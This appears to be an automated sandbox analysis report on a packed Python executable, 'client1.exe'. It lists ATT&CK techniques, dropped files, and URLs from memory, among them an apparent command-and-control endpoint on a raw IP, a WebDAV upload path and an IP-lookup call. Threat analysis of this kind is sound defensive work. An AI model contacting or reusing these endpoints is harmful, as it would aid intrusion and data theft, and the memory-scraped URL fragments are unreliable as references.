Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	11 Process Injection	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
client1.exe	5%	ReversingLabs
client1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI40522\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_cffi_backend.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\bcrypt\_bcrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson\_speedups.cp311-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40522\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://httpbin.org/post	0%	URL Reputation	safe
https://tools.ietf.org/html/rfc2388#section-4.4	0%	URL Reputation	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	URL Reputation	safe
https://requests.readthedocs.io	0%	URL Reputation	safe
https://peps.python.org/pep-0205/	0%	URL Reputation	safe
http://curl.haxx.se/rfc/cookie_spec.html	0%	URL Reputation	safe
https://httpbin.org/get	0%	URL Reputation	safe
https://json.org	0%	URL Reputation	safe
https://httpbin.org/	0%	URL Reputation	safe
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	0%	URL Reputation	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cryptography.io/	0%	Avira URL Cloud	safe
http://wwwsearch.sf.net/):	0%	URL Reputation	safe
http://tools.ietf.org/html/rfc6125#section-6.4.3	0%	URL Reputation	safe
http://google.com/	0%	Avira URL Cloud	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography	0%	Avira URL Cloud	safe
https://www.openssl.org/H	0%	URL Reputation	safe
http://.../back.jpeg	0%	Avira URL Cloud	safe
https://cloud.google.com/appengine/docs/standard/runtimes	0%	Avira URL Cloud	safe
https://www.python.org/download/releases/2.3/mro/.	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/497	0%	Avira URL Cloud	safe
https://github.com/Ousret/charset_normalizer	0%	Avira URL Cloud	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
http://stackoverflow.com/a/3688682	0%	Avira URL Cloud	safe
https://github.com/zoofIO/flexx	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/actions?query=workflow%3ACI	0%	Avira URL Cloud	safe
http://ifconfig.co/	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
https://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	0%	Avira URL Cloud	safe
http://yahoo.com/	0%	Avira URL Cloud	safe
https://docs.scipy.org/doc/numpy/reference/arrays.interface.html	0%	Avira URL Cloud	safe
http://146.70.87.211:5000r	0%	Avira URL Cloud	safe
http://cacerts.digicert.co	0%	Avira URL Cloud	safe
http://146.70.87.211:5000/clients/996/commandsp	0%	Avira URL Cloud	safe
https://w3c.github.io/html/sec-forms.html#multipart-form-data	0%	Avira URL Cloud	safe
http://146.70.87.211:5000	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/49	0%	Avira URL Cloud	safe
http://www.iana.org/time-zones/repository/tz-link.html	0%	Avira URL Cloud	safe
https://cryptography.io/en/latest/changelog/	0%	Avira URL Cloud	safe
https://mail.python.org/mailman/listinfo/cryptography-dev	0%	Avira URL Cloud	safe
https://nextcl.online/remote.php/dav/files/root/ng	0%	Avira URL Cloud	safe
http://.jpg	0%	Avira URL Cloud	safe
https://github.com/BoboTiG/python-mss	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Avira URL Cloud	safe
http://httpbin.org/	0%	Avira URL Cloud	safe
http://cacerts.digicert.coj	0%	Avira URL Cloud	safe
http://json.org	0%	Avira URL Cloud	safe
https://www.python.org	0%	Avira URL Cloud	safe
http://www.robotstxt.org/norobots-rfc.txt	0%	Avira URL Cloud	safe
https://www.python.org/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
http://ifconfig.co/U	0%	Avira URL Cloud	safe
https://www.apache.org/licenses/	0%	Avira URL Cloud	safe
https://twitter.com/	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	Avira URL Cloud	safe
https://cryptography.io/en/latest/installation/	0%	Avira URL Cloud	safe
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings	0%	Avira URL Cloud	safe
https://bugs.python.org/issue42195.	0%	Avira URL Cloud	safe
https://img.shields.io/pypi/v/cryptography.svg	0%	Avira URL Cloud	safe
https://www.python.org/psf/license/	0%	Avira URL Cloud	safe
http://timelessrepo.com/json-isnt-a-javascript-subset).	0%	Avira URL Cloud	safe
https://cffi.readthedocs.io/en/latest/using.html#callbacks	0%	Avira URL Cloud	safe
https://cryptography.io/en/latest/security/	0%	Avira URL Cloud	safe
http://google.com/mail/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/socket.html#socket.socket.connect_ex	0%	Avira URL Cloud	safe
http://146.70.87.211:5000/clients/996/commands0	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Avira URL Cloud	safe
http://146.70.87.211:5000bject	0%	Avira URL Cloud	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	Avira URL Cloud	safe
https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy	0%	Avira URL Cloud	safe
https://cryptography.io	0%	Avira URL Cloud	safe
http://google.com/mail	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/issues	0%	Avira URL Cloud	safe
https://readthedocs.org/projects/cryptography/badge/?version=latest	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0263/	0%	Avira URL Cloud	safe
http://146.70.87.211:5000/clients/996/commands	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings.	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	0%	Avira URL Cloud	safe
https://pypi.org/project/cryptography/	0%	Avira URL Cloud	safe
https://nextcl.online/remote.php/dav/files/root/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ifconfig.co	172.67.168.106	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ifconfig.co/	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000/clients/996/commands	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://google.com/	client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	client1.exe, 00000002.00000002.2695689625.00007FFBAB535000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://mahler:8092/site-updates.py	client1.exe, 00000002.00000003.1476840187.000001692EA9C000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1489567488.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492264657.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476698849.000001692EAB8000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471313853.000001692E345000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471112667.000001692E302000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691849229.000001692EAED000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	false	Avira URL Cloud: safe	unknown
http://.../back.jpeg	client1.exe, 00000002.00000002.2692343833.000001692EFE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/appengine/docs/standard/runtimes	client1.exe, 00000002.00000002.2691355039.000001692E850000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	client1.exe, 00000002.00000003.1464578932.000001692E302000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1464494732.000001692E331000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1464181035.000001692E316000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1464181035.000001692E302000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1464537676.000001692E333000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690164182.000001692DEC0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false	Avira URL Cloud: safe	unknown
https://cryptography.io/	METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy	client1.exe, 00000002.00000002.2691355039.000001692E850000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/post	client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/pyca/cryptography/	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Ousret/charset_normalizer	client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/497	client1.exe, 00000002.00000002.2692163665.000001692ED70000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	client1.exe, 00000002.00000003.1465728144.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1466854228.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471415816.000001692C718000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1467193947.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471313853.000001692E345000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690005543.000001692C6A4000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471112667.000001692E302000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/a/3688682	client1.exe, 00000002.00000002.2691871861.000001692EB09000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1489567488.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692066620.000001692EB69000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB5A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492789775.000001692EB65000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/zoofIO/flexx	client1.exe, 00000002.00000002.2691871861.000001692EB09000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1489567488.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692066620.000001692EB69000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB5A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492789775.000001692EB65000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	client1.exe, 00000002.00000002.2695689625.00007FFBAB535000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography/actions?query=workflow%3ACI	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc2388#section-4.4	client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/LICENSE-2.0	client1.exe, 00000000.00000003.1458377423.00000262AABE4000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1458377423.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000002.2689980475.00000262AABE5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1458455009.00000262AABE4000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	client1.exe, 00000002.00000003.1476070498.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475442260.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475000813.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yahoo.com/	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.scipy.org/doc/numpy/reference/arrays.interface.html	client1.exe, 00000002.00000002.2692478911.000001692F100000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	client1.exe, 00000002.00000003.1476070498.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475442260.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492430826.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475000813.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475140848.000001692E9C2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490021995.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691501664.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://146.70.87.211:5000/clients/996/commandsp	client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692478911.000001692F178000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000r	client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475247941.000001692E564000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E55D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.digicert.co	client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://w3c.github.io/html/sec-forms.html#multipart-form-data	client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptography.io/en/latest/changelog/	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/49	client1.exe, 00000002.00000002.2690809690.000001692E6EB000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475000813.000001692E6EB000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475442260.000001692E6EB000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476070498.000001692E6EB000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E6EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000	client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	client1.exe, 00000002.00000003.1473810890.000001692E3A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.python.org/mailman/listinfo/cryptography-dev	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://nextcl.online/remote.php/dav/files/root/ng	client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/BoboTiG/python-mss	client1.exe, 00000002.00000002.2691871861.000001692EB09000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1489567488.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692066620.000001692EB69000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692478911.000001692F100000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB5A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492789775.000001692EB65000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB02000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692343833.000001692EFE0000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691134197.000001692E750000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692478911.000001692F178000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://requests.readthedocs.io	client1.exe, 00000002.00000002.2692343833.000001692F0D4000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://peps.python.org/pep-0205/	client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false	URL Reputation: safe	unknown
http://curl.haxx.se/rfc/cookie_spec.html	client1.exe, 00000002.00000003.1476629113.000001692EA76000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476531637.000001692EAF7000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692343833.000001692EFE0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://.jpg	client1.exe, 00000002.00000002.2695689625.00007FFBAB535000.00000002.00000001.01000000.00000010.sdmp	false	Avira URL Cloud: safe	unknown
http://json.org	client1.exe, 00000002.00000002.2691668490.000001692EA79000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492291790.000001692EA50000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492430826.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476629113.000001692EA76000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490021995.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476737883.000001692EAB5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476584183.000001692EAAF000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691668490.000001692EA50000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691501664.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.digicert.coj	client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	client1.exe, 00000002.00000003.1465728144.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1466854228.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690164182.000001692DF48000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1467193947.000001692C709000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/get	client1.exe, 00000002.00000002.2692163665.000001692ED70000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490021995.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490252030.000001692EB02000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691849229.000001692EAED000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690692919.000001692E3EB000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691501664.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://httpbin.org/	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000/clients/996/commandsP	client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.python.org	client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.robotstxt.org/norobots-rfc.txt	base_library.zip.0.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/	client1.exe, 00000002.00000003.1476840187.000001692EA9C000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1489567488.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492264657.000001692EADE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476698849.000001692EAB8000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691849229.000001692EAED000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	false	Avira URL Cloud: safe	unknown
http://ifconfig.co/U	curl.exe, 00000005.00000003.1485944623.00000249273D4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1486233496.00000249273D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	client1.exe, 00000002.00000003.1465728144.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1466854228.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471415816.000001692C718000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1467193947.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471313853.000001692E345000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690005543.000001692C6A4000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471112667.000001692E302000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
